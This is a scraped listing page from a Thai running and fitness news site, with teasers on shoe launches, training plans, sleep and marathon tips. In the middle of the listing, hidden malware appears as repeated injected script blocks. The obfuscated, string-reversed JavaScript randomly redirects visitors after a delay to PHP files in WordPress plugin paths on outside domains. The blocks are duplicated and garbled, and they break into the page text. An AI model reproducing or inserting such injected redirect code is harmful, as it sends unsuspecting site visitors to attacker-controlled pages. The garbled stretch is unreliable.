© 2014STEP EXTRA
News
News อัพเดทข่าวสาร ไลฟ์สไตล์, อุปกรณ์ต่างๆ เกี่ยวกับการออกกำลังกาย
ยิ่งกว่าคาเเฟอีน: ออกกำลังกายตอนเช้า 20 นาที กระตุ้นร่างกายดีกว่าคาเเฟอีน
ไม่ใช่แค่ชากาแฟเท่านั้นที่จะช่วยปลุกร่างกายและสมองคุณให้กระปรี้กระเปร่าในยามเช้า
GAIN WEIGH TIPS: ทิปเพิ่มน้ำหนักสำหรับนักวิ่ง UNDERWEIGHT
สำหรับใครที่มีปัญหาผอมเกินไป เรามีทิปง่ายๆ ที่จะช่วยให้คุณสร้างมวลร่างกายเพิ่มขึ้นอย่างมีสุขภาพ
Supersports เตรียมเปิดตัวคอลเลคชั่นสุดพิเศษ Hello Kitty x LFC
เปิดตัวคอลเลคชั่นสุดพิเศษ Hello Kitty x LFC โดยเป็นการร่วมมือระดับโลก ระหว่างลิเวอร์พูล เอฟซี และซานริโอ้ ในวาระฉลองครบรอบ 45 ปี ของ Miss Kitty
adidas จัดงานวิ่ง Run to Reconnect ฉลองเปิดตัวคอลเลคชั่น FOCUSBREATHEIN
อาดิดาส จัดงานวิ่ง Run to Reconnect ฉลองเปิดตัวคอลเลคชั่น อาดิดาส โฟกัสบรีธอิน (adidas FOCUSBREATHEIN) และส่งเสริมการคืนความสดชื่นให้กับร่างกายและจิตใจ
Under Armour เปิดตัว HOVR Machina รองเท้าวิ่งที่มาพร้อมกับฟีเจอร์แนะนำการวิ่งแบบเรียลไทม์
Under Armour เปิดตัว HOVR Machina รองเท้าวิ่งที่มาพร้อมกับฟีเจอร์แนะนำการวิ่งแบบเรียลไทม์เพื่อให้คุณเป็นนักวิ่งที่ดีขึ้น
adidas เปิดตัวรองเท้าวิ่งระยะไกลที่เร็วที่สุดตลอดกาล “Adizero Pro” พร้อมทะยานสู่ตำแหน่ง “เจ้าความเร็วแห่งทศวรรษใหม่”
adidas เปิดตัว “อาดิซีโร่ โปร” (adizero Pro) รองเท้าวิ่งระยะไกลที่พัฒนาขึ้นมาด้วยเทคโนโลยีสุดล้ำสมัยเพื่อการวิ่งระยะไกลด้วยความเร็วสูงสุด
เพิ่มความเร็วด้วยการฝึกวิ่ง Speed Workout บนลู่วิ่ง
ประโยชน์ที่จะได้จากการฝึกวิ่ง Speed workout คือ Speed และ conditioning นั้นคือ นอกจากความเร็วที่จะได้แล้ว หุ่นร่างกายเราจะดูดีขึ้นเป็น Byproduct
ASICS เปิดตัว EVORIDE รองเท้าวิ่ง Energy Saving รุ่นล่าสุด น้ำหนักเบาที่สุดในซีรี่ส์
ASICS เปิดตัว EVORIDE สมาชิกใหม่ล่าสุดจากรองเท้าวิ่งในตระกูล Energy Saving หลังจากการเปิดตัวอย่างประสบความสำเร็จของ METARIDE และ GLIDERIDE เมื่อปีที่ผ่านมา
สัปดาห์หนึ่งต้องวิ่งกี่วันกี่กิโลเมตร เรามีคำตอบให้
ม่ว่าจะลงแข่งระยะ 5K, 10K, Half marathon หรือจะ Marathon เราควรจะฝึกซ้อมวิ่งกี่กิโลหรือสัปดาห์ละกี่วันเพื่อจะได้รักษาความฟิตและไม่บาดเจ็บ
Indoor running workout: แผนฝึกซ้อมวิ่ง 5K บนลู่วิ่ง
สำหรับแผนการฝึกครั้งนี้ ออกแบบมาเพื่อนักวิ่งมือใหม่ที่มีเป้าหมายจะลงแข่งขันวิ่งระยะ 5 กิโลเมตร และสำหรับนักวิ่งที่มีประสบการณ์ ต้องการซ้อมวิ่งเบาๆ หรือเพื่อเสริมความแข็งแรงให้กับช่วงล่าง
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</alex<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andra-gorn-smuS_jUZa9I-unsplash-350x250.jpg)
นอน วิธีง่ายๆ ที่จะช่วยเพิ่ม performance นักวิ่ง
การนอนหลับพักผ่อน หนึ่งในวิธีที่ง่ายที่สุดในการช่วยเพิ่ม Running Performance เเต่ก็เป็นสิ่งที่นักวิ่งหลายคนมักมองข้าม หรือไม่ก็มีปัญหาในการนอนหลับพักผ่อน
3 เเผนฝึกปั่น Indoor cycling
ถ้าท่านมี Trainner อยู่ที่บ้าน เราขอเสนอ 3 เเผนฝึกปั่นจักรยานเเบบ Indoor ที่ใช้เวลาประมาณ 1 ชั่วโมง
สำรวจตัวเองกันสักนิด ทำไมออกกำลังกายเเล้วยังไม่ผอมสักที
แม้จะระวังเรื่องอาหารการกินและเดินวันละ 10,000 ก้าวทุกวัน แต่ก็ยังควบคุมน้ำหนักไม่ได้อยู่ดี หรือว่ายังมีเหตุปัจจัยที่ยังแอบซ้อนอยู่ ที่คุณไม่รู้และกำลังทำมันอย่างไม่รู้ตัว
จะวิ่งไตร หรือ วิ่งไหนๆ ก็สดชื่นคืนฟอร์มได้ด้วยสปอนเซอร์
จะวิ่งไตร หรือ วิ่งไหนๆ ก็สดชื่นคืนฟอร์มได้ด้วยสปอนเซอร์ ที่อุดมด้วยซูโคสและกลูโคส ช่วยคืนความสดชื่นและให้พลังงานแก่ร่างกาย พร้อมโซเดียมและโพแทสเซียมที่มีส่วนช่วยให้เลือดไหลเวียนดี ป้องกันการเกิดตะคริว ให้คุณเต็มที่ในทุกสนาม #Sponsor #สดชื่นคืนฟอร์มดื่มสปอนเซอร์
12 ทิปวิ่งมาราธอนให้ง่ายขึ้น
ม่ว่าจะเป็นมาราธอนเเรกหรือมาราธอนครั้งที่สิบ ก่อนออกสตาร์ททุกครั้ง มามราธอนยังคงให้ความตื่นเต้นเสมอ ทั้งอาการกลัว กังวล ประหม่าเเละไม่มั่นใจว่าซ้อมมาพอมักเกิดขึ้นได้เสมอ
STEP EXTRA
Run more, Spin More
เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา